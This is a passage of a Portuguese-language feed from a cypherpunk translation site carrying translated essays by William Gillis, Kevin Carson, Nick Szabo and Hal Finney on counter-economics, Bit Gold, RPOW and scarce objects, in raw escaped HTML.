Servidor: (&amp;lt;serverid&amp;gt;,@spend,(&amp;lt;bobsid&amp;gt;,spend,&amp;lt;serverid&amp;gt;,&amp;lt;time15#&amp;gt;,&amp;lt;suesid&amp;gt;,&amp;lt;bobggid&amp;gt;,24056304,Bem, eu finalmente criei minha nova moeda, lastreada em Krugerands que estão no cofre de armas. Estou lhe enviando uma grama como agradecimento por ter me apresentado a Truledger e 1.4056304 gramas por 36 unidades de Café Capulin, que você disse que me venderia, para que eu possa comprar mais café fino do Daniel Fourwinds que saboreamos em sua casa outro dia. Usei um preço de ouro de US$ 796,60/onça, o melhor preço de venda na Kitco hoje de manhã.)).
(&amp;lt;serverid&amp;gt;,@tranfee,(&amp;lt;bobsid&amp;gt;,tranfee,&amp;lt;serverid&amp;gt;,&amp;lt;time15#&amp;gt;,&amp;lt;tokenid&amp;gt;,2)).
(&amp;lt;serverid&amp;gt;,@balance,(&amp;lt;bobsid&amp;gt;,balance,&amp;lt;serverid&amp;gt;,&amp;lt;time15#&amp;gt;,&amp;lt;bobggid&amp;gt;,3096291376,Gun Safe)).
(&amp;lt;serverid&amp;gt;,@outboxhash,(&amp;lt;bobsid&amp;gt;,outboxhash,&amp;lt;serverid&amp;gt;,&amp;lt;time15#&amp;gt;,A))
&lt;/code>&lt;/pre>&lt;h3 id="cenário-obtendo-informações">Cenário: Obtendo informações&lt;/h3>
&lt;p>Para ser feito&lt;/p>
&lt;h3 id="cenário-cancelando-um-gasto">Cenário: cancelando um gasto&lt;/h3>
&lt;p>Para ser feito&lt;/p>
&lt;hr>
&lt;p>Copyright © 2008 Bill St. Clair, Todos os direitos reservados.&lt;/p>
&lt;hr>
&lt;p>Fonte:
&lt;a href="https://truledger.com/doc/plain-english.html" target="_blank" rel="noopener noreferrer">https://truledger.com/doc/plain-english.html&lt;/a>
&lt;a href="https://nakamotoinstitute.org/truledger/" target="_blank" rel="noopener noreferrer">https://nakamotoinstitute.org/truledger/&lt;/a>
&lt;/p></content:encoded></item><item><title>O Mercado Liberto</title><link>https://cypherpunks.com.br/documentos/mercado-liberto/</link><pubDate>Tue, 31 Jul 2007 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/mercado-liberto/</guid><description>O "livre mercado" faz parecer que isso já existe e, portanto, perpetua passivamente o mito vermelho de que o corporativismo e a acumulação arbitrária de Kapital são as consequências naturais da livre associação e competição entre indivíduos. (Não é.)</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Ian Zorkot
Revisado por: Vinicius Yaunner
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;p>&lt;strong>Nota do revisor:&lt;/strong> Resolvi linkar o &lt;em>libertários vulgares&lt;/em> para facilitar o entendimento.&lt;/p>
&lt;h2 id="william-gillis">William Gillis&lt;/h2>
&lt;p>Uma das táticas que adotei nas guerras econômicas anarquistas é referir-se à nossa moderna mistura corporativista/mercantilista/lovecraftiana de sistemas econômicos como &amp;ldquo;Kapitalismo&amp;rdquo; e, ao referenciar Ancaps, faço de tudo para usar &amp;ldquo;Anarco&amp;rdquo;-Capitalista e Anarco-“Capitalista” como rótulos distintos.&lt;/p>
&lt;p>Essas se mostraram maneiras decentes, se não bastante eficazes, de despertar o raciocínio e forçar um certo grau de nuance à discussão. Mas são distinções voltadas principalmente para os Vermelhos intolerantes e ignorantes que - embora certamente irritantes - não são nem de longe tão desumanos quanto os &lt;a href="https://c4ss.org/what-do-you-mean-by-vulgar-libertarianism-what-is-conflationism" target="_blank" rel="noopener noreferrer">libertários vulgares.&lt;/a>
Os apologistas corporativos que realmente aprovam a fossa moderna que os Vermelhos chamam de &amp;ldquo;capitalismo&amp;rdquo;. Você os conhece. Os pirralhos &amp;lsquo;do contra&amp;rsquo; que consideram a Somália uma utopia. Aqueles que se encaixam nos estereótipos dos Vermelhos são tão incondicionais que toda a inteligência é imediatamente sugada para um horizonte de eventos de &lt;em>“pessoas pobres obviamente merecem morrer de fome, que se fodam”&lt;/em> e &lt;em>“sim, bem, depois da Revolução, colocaremos sua família em campos de extermínio e expropriaremos todas as suas coisas.&amp;quot;&lt;/em>&lt;/p>
&lt;p>Bem, por um erro abençoado, me deparei com um contragolpe muito eficaz a eles. Em vez de me referir ao comportamento e dinâmica do livre mercado, refiro-me a um &lt;em>&amp;ldquo;mercado liberto&amp;rdquo;.&lt;/em>&lt;/p>
&lt;p>Você ficaria surpreso com a diferença que uma mudança de tempo pode fazer.&lt;/p>
&lt;p>O &amp;ldquo;livre mercado&amp;rdquo; faz parecer que isso já existe e, portanto, perpetua passivamente o mito vermelho de que o corporativismo e a acumulação arbitrária de Kapital são as consequências naturais da livre associação e competição entre indivíduos. (Não é.)&lt;/p>
&lt;p>Mas &amp;ldquo;liberto&amp;rdquo; tem um elemento de distância e, além disso, um grau de ação. Torna-se muito mais fácil afirmar coisas como: mercados libertos não têm corporações. Um mercado liberto naturalmente iguala a riqueza. A hierarquia social é por definição ineficiente e isso é particularmente evidente nos mercados libertos.&lt;/p>
&lt;p>Isso nos leva para fora do tempo presente e para o campo teórico de &amp;ldquo;depois da revolução&amp;rdquo;, onde, como os vermelhos, ainda podemos usar exemplos atuais para apoiar a teoria, mas não estamos ligados a defender implicitamente todos os horrores do mercado atual. É mais fácil escolher mecânicas separadas no mercado e fazer distinções. Além disso, mencionei que ele faz uma chamada implícita à ação?&lt;/p>
&lt;p>Não sei se alguém já tropeçou nisso antes, mas tem sido útil e achei que deveria compartilhar.&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://radgeek.com/gt/2011/10/Markets-Not-Capitalism-2011-Chartier-and-Johnson.pdf" target="_blank" rel="noopener noreferrer">Markets Not Capitalism - Part One: The Problem of Deformed Markets, pg. 19&lt;/a>
&lt;/p></content:encoded></item><item><title>P2P, Cooperativas e a Contra-Economia</title><link>https://cypherpunks.com.br/documentos/p2p-cooperativas-contraeconomia/</link><pubDate>Fri, 14 Apr 2006 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/p2p-cooperativas-contraeconomia/</guid><description>Tem havido muita discussão ultimamente sobre a relação do p2p com o movimento cooperativo. A edição 88 do Integral Visioning incluiu uma subseção temática sobre cooperativas. Nele, Michel Bauwens vinculou a um artigo na Grassroots Economic Organizing comparando a estrutura de conglomerado hierárquico de Mondragon (aparentemente …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Vinicius Yaunner
Revisado por: Matheus Bach
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h1 id="p2p-cooperativas-e-a-contra-economia">P2P, Cooperativas e a Contra-Economia&lt;/h1>
&lt;h2 id="kevin-carson">Kevin Carson&lt;/h2>
&lt;p>&lt;/p>
&lt;p>Tem havido muita discussão ultimamente sobre a relação do p2p com o movimento cooperativo. A edição 88 do Integral Visioning incluiu uma subseção temática sobre cooperativas. Nele, Michel Bauwens vinculou a um artigo na Grassroots Economic Organizing comparando a estrutura de conglomerado hierárquico de Mondragon (aparentemente desfavorável) ao estilo descentralizado e ascendente de Emilia-Romagna.&lt;/p>
&lt;p>De qualquer forma, parece que coincide com algumas das minhas próprias visões de Mondragon. Certamente, a Mondragon é muito melhor do que nada: o sistema da Mondragon como um todo é de propriedade e controle dos trabalhadores, e é um ambiente muito mais agradável para os trabalhadores do que a empresa capitalista típica. Mas, internamente, não é organizado de acordo com linhas libertárias ou descentralizadas. É organizado como uma empresa típica de cima para baixo, com o conselho responsável pelos trabalhadores do sistema como um todo, mas com autoridade descendo do conselho aos gerentes da fábrica e aos capatazes. Portanto, o trabalhador médio no sistema Mondragon tem tanta influência nas decisões de seu capataz ou na maneira como seu departamento é administrado quanto, digamos, votar para prefeito dá a você a equipe do Departamento de Rua que está destruindo sua vizinhança.&lt;/p>
&lt;p>O artigo levou Michel a fazer uma observação própria.&lt;/p>
&lt;blockquote>
&lt;p>Devo compartilhar um certo ceticismo em relação ao movimento cooperativo&amp;hellip; Ele existe há mais de 200 anos e sempre foi marginal. A razão é que, por mais socialmente mais desejável que seja em termos de criação de relações humanas mais cooperativas, é superado por empresas com fins lucrativos. E essa é a grande diferença com a produção entre pares: a produção entre pares é mais produtiva do que suas alternativas com fins lucrativos e socialmente mais desejável.&lt;/p>
&lt;/blockquote>
&lt;p>Para ser justo com as cooperativas, devo dizer que quando elas são derrotadas, é porque estão competindo em um sistema capitalista de estado onde a grande empresa corporativa é a forma dominante de organização e as bases estruturais do sistema como um todo são projetadas para apoiar a grande corporação. Uma razão pela qual o p2p tem menos desvantagem competitiva é que ele opera predominantemente em setores da economia onde os subsídios e privilégios capitalistas de estado tradicionais são menos eficazes.&lt;/p>
&lt;p>O chamado &amp;ldquo;beco sem saída de Rochedale&amp;rdquo;, pelo qual cooperativas bem-sucedidas assumem as características de empresas capitalistas e até mesmo se tornam sujeitas a aquisições hostis e desmutualização, já foi observado antes (estou atualmente lendo &amp;ldquo;Race Work&amp;rdquo; de Matthew C. Whitaker).
A solução para isso é:&lt;/p>
&lt;ul>
&lt;li>
&lt;ol>
&lt;li>As cooperativas de consumo se relacionarem com cooperativas de produçäo e outras instituições contra-econômicas em uma contra-economia coerente, visando suplantar a capitalista, em vez de tentar ter sucesso imitando-a; e&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>
&lt;ol start="2">
&lt;li>O movimento contra-econômico engajar e reverter o estado, reduzindo a vantagem competitiva conferida pelo estado do modelo de empresa capitalista/corporativista de estado.&lt;/li>
&lt;/ol>
&lt;/li>
&lt;/ul>
&lt;p>Em outras palavras, nosso objetivo estratégico deve ser para que as cooperativas de produtores e consumidores, sistemas LETS, p2p e as economias de permuta e famílias se aglutinem, de modo que esses componentes individuais funcionem dentro de uma contraeconomia coerente e cada vez mais autossuficiente em vez de se debater individualmente em um sistema maior organizado de forma hostil. Abordei essas questões em minha postagem “Construindo a estrutura da nova sociedade dentro da casca da velha”.&lt;/p>
&lt;p>Apesar de suas ressalvas, diz Michel, existe uma grande complementaridade entre p2p e cooperativas.&lt;/p>
&lt;blockquote>
&lt;p>O P2P e o movimento cooperativo compartilham o desejo de igualdade e autonomia, mas também diferem em aspectos significativos:&lt;/p>
&lt;ul>
&lt;li>O P2P é baseado em ciber-coletivos que são organizados em uma escala global; é mais forte na produção imaterial; As cooperativas são principalmente grupos locais; e eles são perfeitamente adequados para a produção física&lt;/li>
&lt;li>P2P é uma forma de propriedade comum que &amp;lsquo;pertence a todos&amp;rsquo;; as cooperativas pertencem ao coletivo de produtores específicos&lt;/li>
&lt;li>P2P produz valor de uso, não valor de troca; As cooperativas são voltadas para o mercado e muitas de suas decisões dependem desse mercado; eles criam valor de troca. Enquanto o P2P está emergindo, crescendo e está provando ser &amp;lsquo;mais produtivo&amp;rsquo; do que as alternativas com fins lucrativos, esse não parece ser o caso das cooperativas, que sempre foram marginalizadas em um mercado capitalista.&lt;/li>
&lt;li>P2P é uma forma de participação acionária comum: qualquer pessoa contribui e usa livremente; Cooperativas são uma forma de Equality Matching: trabalho e renda são distribuídos de forma formal para garantir a igualdade. As cooperativas são baseadas na reciprocidade, P2P não.&lt;/li>
&lt;/ul>
&lt;/blockquote>
&lt;p>Parece-me que os dois só podem se fortalecer em uma relação em rede. As vantagens peculiares de cada um em seu próprio setor (p2p em informação, cooperação na produção e comercialização de bens físicos e integração de ambos em alguns processos de várias etapas) complementam as fraquezas correspondentes do outro. E os dois juntos dobram a “pegada” do movimento como um todo, e reduzem a necessidade de cada um participar da economia capitalista onde os serviços do outro estão disponíveis como alternativa. Quanto mais especialidades se articulam na contra-economia, mais suas necessidades podem ser atendidas internamente, e menos vulneráveis ​​seus membros estão a serem contaminados ou cooptados pelo modelo capitalista de estado.&lt;/p>
&lt;p>Marcus Moltz, que considerou as observações de Michel excessivamente críticas, observou que ele estava criando uma falsa dicotomia entre cooperativas e p2p. Para esclarecimento, Michel escreveu:&lt;/p>
&lt;blockquote>
&lt;p>Meu objetivo na edição 88 sobre as cooperativas não era denegrir as cooperativas, mas fazer uma distinção entre esquemas baseados na reciprocidade, esquemas baseados no mercado e produção P2P não recíproca. Apesar das correções de Marcus, acredito que ainda são importantes, mas não devem ser lidas como denegrindo o movimento cooperativo, ou &amp;lsquo;dicotomias duras&amp;rsquo; negando o hibridismo da prática real. Esquemas baseados na reciprocidade e esquemas de comércio justo ou de mercado compartilham o &amp;rsquo;espírito de presentear&amp;rsquo; e justiça e, em termos da busca de modos de produção mais justos, fazem parte de um continuum de alternativas. Agora, eu acho que &amp;lsquo;peer to peer&amp;rsquo; é no final &amp;lsquo;superior&amp;rsquo; a outros esquemas. Na medida em que se descobre essa produção sem ganho e sem expectativa direta de um retorno material,pode ser moralmente mais desejável do que esquemas baseados em reciprocidade ou troca. sim. Mas também sabendo que onde não há abundância, o P2P completo não pode se desenvolver porque é baseado no “desperdício” de recursos excedentes. O enxame inerente à produção P2P é de fato &amp;lsquo;muito caro&amp;rsquo; em termos de recursos humanos e é baseado na abundância &amp;hellip;.&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>Eu acharia provável que em um futuro modelo civilizacional, tanto a economia da dádiva quanto os modelos baseados em Commons seriam complementares. O P2P funcionará mais facilmente onde houver uma esfera de abundância, na esfera de bens não rivais, enquanto os modelos de economia da dádiva podem ser um modelo alternativo para gerenciar a escassez, na esfera de bens e recursos rivais. Como meu próprio ideal preliminar neste projeto de pesquisa, imagino que a civilização futura terá um núcleo de processos P2P, cercado por uma camada de aplicações de presentes e comércio justo, e com um mercado que opera com base nos princípios do &amp;lsquo;capitalismo natural&amp;rsquo;, conforme descrito por autores como Hazel Henderson, David Korten e Paul Hawken, ou seja, um mercado que integrou &amp;rsquo;externalidades&amp;rsquo; (custos ambientais e sociais) para chegar ao verdadeiro custeio.&lt;/p>
&lt;/blockquote>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://mutualist.blogspot.com/2006/03/p2p-cooperatives-and-counter-economy.html" target="_blank" rel="noopener noreferrer">P2P, Cooperatives, and the Counter-Economy - Kevin Carson&lt;/a>
&lt;/p></content:encoded></item><item><title>Bit Gold</title><link>https://cypherpunks.com.br/documentos/bitgold/</link><pubDate>Thu, 29 Dec 2005 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/bitgold/</guid><description>Há muito tempo, tive a ideia de usar ouro. O problema, em poucas palavras, é que nosso dinheiro atualmente depende da confiança em um terceiro pelo seu valor, como muitos episódios inflacionários e hiperinflacionários demonstrados durante o século XX. Da mesma forma, a emissão de notas bancárias privadas, embora tivesse várias vantagens e …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: OneTimePad
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="nick-szabo">Nick Szabo&lt;/h2>
&lt;p>29 de Dezembro de 2005&lt;/p>
&lt;p>Há muito tempo, tive a ideia de usar ouro. O problema, em poucas palavras, é que nosso dinheiro atualmente depende &lt;a href="http://nakamotoinstitute.org/literature/18/html/" target="_blank" rel="noopener noreferrer">da confiança em um terceiro&lt;/a>
pelo seu valor, como muitos episódios inflacionários e hiperinflacionários demonstrados durante o século XX. Da mesma forma, &lt;a href="http://unenumerated.blogspot.com/2005/11/flying-money-brief-overview.html" target="_blank" rel="noopener noreferrer">a emissão de notas bancárias privadas&lt;/a>
, embora tivesse várias vantagens e desvantagens, dependia igualmente de uma terceira parte confiável.&lt;/p>
&lt;p>&lt;a href="http://nakamotoinstitute.org/literature/22/html/" target="_blank" rel="noopener noreferrer">Metais preciosos e colecionáveis&lt;/a>
têm uma escassez inviável devido ao custo de sua criação. Isso, uma vez, proporcionou dinheiro cujo valor foi amplamente aceito, independente de qualquer terceiro confiável. Metais preciosos têm problemas, no entanto. É muito caro analisar metais repetidamente para transações comuns. Assim, um terceiro confiável (geralmente associado a um coletor de impostos que aceitou as moedas como pagamento) foi invocado para carimbar uma quantia padrão do metal em uma moeda. Transportar grandes valores de metal pode ser um assunto bastante inseguro, como os britânicos descobriram quando transportaram ouro através de um U-boat atravessou o Atlântico para o Canadá durante a Primeira Guerra Mundial para apoiar seu padrão-ouro. O que é pior, você não pode pagar online com metal.&lt;/p>
&lt;p>Assim, seria muito bom se houvesse um protocolo em que bits inesgotáveis e onerosos pudessem ser criados online com dependência mínima de terceiros confiáveis e, então, armazenados, transferidos e analisados com confiança mínima semelhante. &amp;ldquo;Bit Gold&amp;rdquo;.&lt;/p>
&lt;p>Minha proposta para o Bit Gold baseia-se em calcular uma série de bits de uma sequência de bits de desafio, usando funções chamadas de &amp;ldquo;função de quebra-cabeça de cliente&amp;rdquo;, &amp;ldquo;função de proof-of-work (prova de trabalho)&amp;rdquo; ou &amp;ldquo;&lt;a href="http://szabo.best.vwh.net/intrapoly.html" target="_blank" rel="noopener noreferrer">função de referência segura&lt;/a>
&amp;rdquo;. A sequência de bits resultante é a prova de trabalho (proof-of-work). Onde uma &lt;a href="http://en.wikipedia.org/wiki/One_way_function" target="_blank" rel="noopener noreferrer">função unidirecional&lt;/a>
é uma função cujo cálculo é difícil de ser computado ao contrário, uma função de benchmark segura vem idealmente com um custo específico, medido em ciclos de computação, para computar de trás para frente.&lt;/p>
&lt;p>Aqui estão os principais passos do sistema do Bit Gold que eu imagino:&lt;/p>
&lt;p>1. Uma sequência pública de bits, a &amp;ldquo;string de desafio&amp;rdquo;, é criada (consulte a etapa 5). 2. Alice em seu computador gera a prova de string de trabalho dos bits de desafio usando uma função de benchmark. 3. A prova de trabalho é incluída com um &lt;a href="http://www.cs.ut.ee/~lipmaa/crypto/link/timestamping/" target="_blank" rel="noopener noreferrer">registro de tempo (timestamp) seguro&lt;/a>
. Isso deve funcionar de maneira distribuída, com vários serviços diferentes de registro de data e hora, para que nenhum serviço de registro de data e hora específico precise ser substancialmente confiável. 4. Alice adiciona a string de desafio e a prova de data e hora da string de trabalho a um registro de título de propriedade distribuído para o &amp;ldquo;Bit Gold&amp;rdquo;. Aqui, também, nenhum servidor único é substancialmente confiável para operar corretamente o registro. 5. A última string criada de Bit Gold fornece os bits de desafio para a próxima string criada. 6. Para verificar se Alice é a proprietária de uma cadeia específica de Bit Gold, Bob verifica a cadeia de títulos inutilizável no registro de títulos em Bit Gold 7. Para avaliar o valor de uma string de Bit Gold, Bob checa e verifica os bits de desafio, a string de prova de trabalho e o registro de data e hora.&lt;/p>
&lt;p>Note que o controle de Alice sobre seu Bit Gold não depende de sua posse exclusiva dos bits, mas sim de sua posição de líder na cadeia de título não falsificável (cadeia de assinaturas digitais) no registro de títulos.&lt;/p>
&lt;p>Tudo isso pode ser automatizado por software. Os principais limites para a segurança do esquema são quão bem a confiança pode ser distribuída nas etapas (3) e (4), e o problema da arquitetura da máquina que será discutido abaixo.&lt;/p>
&lt;p>Hal Finney implementou uma variante do Bit gold chamada RPOW (Reusable Proofs of Work). Isso depende da publicação do código de computador para o &amp;ldquo;mint&amp;rdquo;, que é executado em um computador inviolável remoto. O comprador do Bit Gold pode então usar um atestado remoto, que Finney chama de técnica de servidor transparente, para verificar se um determinado número de ciclos foi realmente executado.&lt;/p>
&lt;p>O principal problema de todos esses esquemas é que os esquemas de prova de trabalho dependem da arquitetura do computador, não apenas de uma matemática abstrata baseada em um &amp;ldquo;ciclo de computação&amp;rdquo; abstrato. (&lt;a href="http://szabo.best.vwh.net/intrapoly.html" target="_blank" rel="noopener noreferrer">Eu escrevi sobre isso obscuramente há vários anos.)&lt;/a>
Assim, pode ser possível ser um produtor de custo muito baixo (por várias ordens de magnitude) e inundar o mercado com Bit Gold. No entanto, como o Bit Gold é &lt;em>timestamped&lt;/em> (tem um registro de tempo), o tempo criado e a dificuldade matemática do trabalho podem ser automaticamente comprovados. A partir disso, geralmente pode-se inferir qual foi o custo de produção durante esse período de tempo.&lt;/p>
&lt;p>Ao contrário de átomos fungíveis de ouro, mas como acontece com itens de colecionador, uma grande oferta durante um determinado período de tempo reduzirá o valor desses itens específicos. A esse respeito, &amp;ldquo;Bit Gold&amp;rdquo; age mais como itens de colecionador do que como ouro. No entanto, a correspondência entre esse mercado exposto e o leilão que determina o valor inicial pode gerar um lucro muito substancial para o &amp;ldquo;minerador de bit gold&amp;rdquo;, que inventa e implanta uma arquitetura de computador otimizada.&lt;/p>
&lt;p>Assim, o Bit Gold não será fungível com base em uma função simples de, por exemplo, o comprimento da string. Em vez disso, para criar unidades fungíveis, os revendedores terão que combinar peças de Bit Gold de valor diferentes em unidades maiores de valor aproximadamente igual. Isso é análogo ao que muitos negociantes de commodities fazem hoje para tornar os mercados de commodities possíveis. A confiança ainda é distribuída porque os valores estimados de tais pacotes configuráveis ​​podem ser verificados independentemente por muitas outras partes de maneira ampla ou totalmente automatizada.&lt;/p>
&lt;p>Em resumo, todo o dinheiro que a humanidade já usou foi inseguro de uma forma ou de outra. Essa insegurança se manifestou em uma ampla variedade de formas, desde a falsificação até o roubo, mas a mais perniciosa das quais provavelmente foi a inflação. O Bit Gold pode nos fornecer um dinheiro de segurança sem precedentes desses perigos. O potencial de sobrecargas de fornecimento inicialmente ocultas devido a inovações ocultas na arquitetura de máquinas é uma falha em potencial no Bit Gold, ou pelo menos uma imperfeição que os leilões iniciais e as exchanges de Bit Gold terão de resolver.&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://nakamotoinstitute.org/bit-gold/" target="_blank" rel="noopener noreferrer">https://nakamotoinstitute.org/bit-gold/&lt;/a>
&lt;/p></content:encoded></item><item><title>RPOW – Provas de Trabalho Reutilizáveis</title><link>https://cypherpunks.com.br/documentos/rpow/</link><pubDate>Sun, 15 Aug 2004 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/rpow/</guid><description>Eu gostaria de convidar os membros dessa lista para testar meu novo servidor baseado em hashcash.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Marcos Monteiro
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h3 id="hal-finney">Hal Finney&lt;/h3>
&lt;h5 id="website-arquivado-github">[Website arquivado GitHub]&lt;/h5>
&lt;hr>
&lt;pre tabindex="0">&lt;code>Para: [cypherpunks@al-qaeda.net]
Assunto: RPOW - Provas de Trabalho Reutilizáveis
Data: domingo, 15 de agosto de 2004 às 10:43:09 -07:00 (PDT)
De: hal arroba finney ponto org (&amp;#34;Hal Finney&amp;#34;)
&lt;/code>&lt;/pre>&lt;hr>
&lt;p>&lt;/p>
&lt;p>Eu gostaria de convidar os membros dessa lista para testar meu novo servidor baseado em hashcash, [rpow.net].&lt;/p>
&lt;p>Esse sistema recebe hashcash como um token de Prova de Trabalho (POW), e, em troca, cria tokens assinados por RSA que eu chamo de tokens de Prova de Trabalho Reutilizável (RPOW). RPOWs podem ser transferidos de pessoa para pessoa e trocados por novos RPOWs a cada passo. Cada RPOW ou token POW só pode ser usado uma vez já que dá vida a um novo, é como se o mesmo token pudesse ser entregue de pessoa a pessoa.&lt;/p>
&lt;p>Porque RPOWs são criados apenas a partir de POWs ou RPOWs de igual valor, eles são tão raros e &amp;ldquo;valiosos&amp;rdquo; quanto o hashcash que foi usado para criá-los. Mas eles são reutilizáveis, diferentemente do hashcash.&lt;/p>
&lt;p>O novo conceito no servidor é o modelo de segurança. O servidor RPOW está rodando em um cartão de processamento de alta segurança, o IBM 4758 SCC, validado para FIPS-140 nível 4. Esse cartão tem a capacidade de entregar um atestado assinado do software de configuração na placa, que qualquer usuário (suficientemente motivado) pode verificar o código fonte publicado do sistema. Isso permite a todos verem que o sistema não tem back doors e criará apenas tokens RPOW quando fornecidos com token POW/RPOW de igual valor.&lt;/p>
&lt;p>Isso é o que cria confiança em RPOWs, de fato incorporando seus valores, o conhecimento que eles foram, na verdade, criados baseado em um token POW (hashcash) de igual valor.&lt;/p>
&lt;p>Eu tenho muito mais informações sobre o sistema em [rpow.net], juntamente ao código fonte baixável. Há também uma interface web crua que te deixa trocar POWs por RPOWs sem precisar baixar o cliente.&lt;/p>
&lt;p>Esse sistema está em fase beta inicial no momento, então eu gostaria de ler comentários se alguém tiver a chance de testá-lo. Por favor, tenha em mente que se houver problemas eu posso ter que recarregar o código do servidor, o que invalidará os tokens RPOW que as pessoas criaram previamente. Então não enlouqueça acumulando muitos RPOWs ainda.&lt;/p>
&lt;p>Muito obrigado -&lt;/p>
&lt;p>Hal Finney&lt;/p>
&lt;hr>
&lt;p>Fonte:&lt;/p>
&lt;p>&lt;a href="https://nakamotoinstitute.org/rpow/" target="_blank" rel="noopener noreferrer">https://nakamotoinstitute.org/rpow/&lt;/a>
&lt;/p>
&lt;p>&lt;a href="https://nakamotoinstitute.org/finney/rpow/index.html" target="_blank" rel="noopener noreferrer">Website arquivado GitHub&lt;/a>
&lt;/p>
&lt;p>&lt;a href="cypherpunks@al-qaeda.net">cypherpunks@al-qaeda.net&lt;/a>
&lt;/p>
&lt;p>&lt;a href="https://nakamotoinstitute.org/finney/rpow/index.html" target="_blank" rel="noopener noreferrer">rpow.net&lt;/a>
&lt;/p></content:encoded></item><item><title>Objetos Escassos</title><link>https://cypherpunks.com.br/documentos/objetos-escassos/</link><pubDate>Thu, 01 Jan 2004 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/objetos-escassos/</guid><description>Uma abordagem mais intuitiva e segura para programação com objetos distribuídos através de limites de confiança é apresentada. A abordagem envolve objetos escassos e software para apoiar os mercados na negociação de "direitos" de objetos escassos.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Steffan Diorgy
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h1 id="nick-szabo">Nick Szabo&lt;/h1>
&lt;h4 id="originalmente-publicado-em-2004">Originalmente publicado em 2004&lt;/h4>
&lt;h3 id="abstrato">Abstrato&lt;/h3>
&lt;p>&lt;/p>
&lt;p>&lt;em>Uma abordagem mais intuitiva e segura para programação com objetos distribuídos através de limites de confiança é apresentada. A abordagem envolve objetos escassos e software para apoiar os mercados na negociação de &amp;ldquo;direitos&amp;rdquo; de objetos escassos.&lt;/em>&lt;/p>
&lt;h3 id="introdução">Introdução&lt;/h3>
&lt;p>Objetos escassos são objetos computacionais que, como objetos físicos, são finitos e excludentes, e forçam o cliente a conservar ou consumir (usar) seus próprios direitos para usar o objeto. Referências a objetos escassos são &lt;a href="http://nakamotoinstitute.org/contracts-with-bearer/" target="_blank" rel="noopener noreferrer">certificados de portador&lt;/a>
com duas propriedades principais: (1) são tokens use uma vez ou usados N vezes e (2) como dinheiro digital são transferidos usando compensação on-line usando &amp;ldquo;listas gastas&amp;rdquo; para conservar o número dessas referências de objetos escassos.&lt;/p>
&lt;p>Objetos escassos, também conhecidos como objetos conservados, fornecem uma metáfora amigável ao usuário e ao programador para objetos distribuídos que interagem entre limites de confiança. (Para simplificar o idioma, usarei o tempo presente para descrever arquiteturas e software hipotético). Objetos escassos também nos dão a capacidade de traduzir as preferências do usuário em contratos sofisticados, através do tradutor de mercado descrito abaixo. Essas inovações nos permitirá, pela primeira vez para romper a &lt;a href="http://szabo.best.vwh.net/micropayments.html" target="_blank" rel="noopener noreferrer">barreira mental do custo de transação&lt;/a>
para micropagamentos e uma &lt;a href="https://web.archive.org/web/20000229091752/http://www.agorics.com/agorpapers.html" target="_blank" rel="noopener noreferrer">economia de micromercados&lt;/a>
.&lt;/p>
&lt;p>Um objeto escasso é um objeto de software (ou um de seus métodos) que usa um recurso finito e excludente - seja espaço em disco, largura de banda de rede, uma fonte de informações cara como um segredo comercial ou uma cotação de ações minimamente atrasada ou uma ampla variedade de outros recursos escassos usados ​​por aplicativos on-line. Objetos escassos restringem os chamadores remotos a invocar métodos de maneiras que usam apenas determinados recursos e não divulgam os segredos comerciais. Além disso, os invólucros de objetos escassos formam a base para uma economia on-line de objetos escassos que faz uso eficiente dos recursos escassos subjacentes.&lt;/p>
&lt;p>Objetos escassos também são um novo modelo de segurança. Nenhum modelo de segurança até o momento foi amplamente usado para distribuir objetos entre limites de confiança. Isto é devido a suas conseqüências obscuras, suas origens na computação TCB-unica, ou ambos. A segurança de objetos escassos é muito mais facilmente compreendida, uma vez que se baseia na duplicação em objetos computacionais das características intuitivas essenciais das posses físicas. Nossos cérebros raciocinam de maneiras muito mais sofisticadas sobre objetos físicos do que sobre objetos computacionais. Objetos escassos são assim facilmente compreendidos por programadores e usuários finais. Objetos escassos reduzem os custos de transação mental, que são a principal barreira para o comércio sofisticado de pequena escala na Internet. Finalmente, objetos escassos resolverão pela primeira vez ataques de negação de serviço,&lt;/p>
&lt;p>A metáfora física intuitiva de objetos escassos dá aos objetos escassos as seguintes propriedades básicas:&lt;/p>
&lt;ol>
&lt;li>Conservação de objetos atômicos&lt;/li>
&lt;li>Composição hierárquica de objetos (análoga à composição espacial)&lt;/li>
&lt;/ol>
&lt;p>Intimamente relacionado a estes é uma propriedade social de objetos críticos para o sucesso das economias:&lt;/p>
&lt;ol>
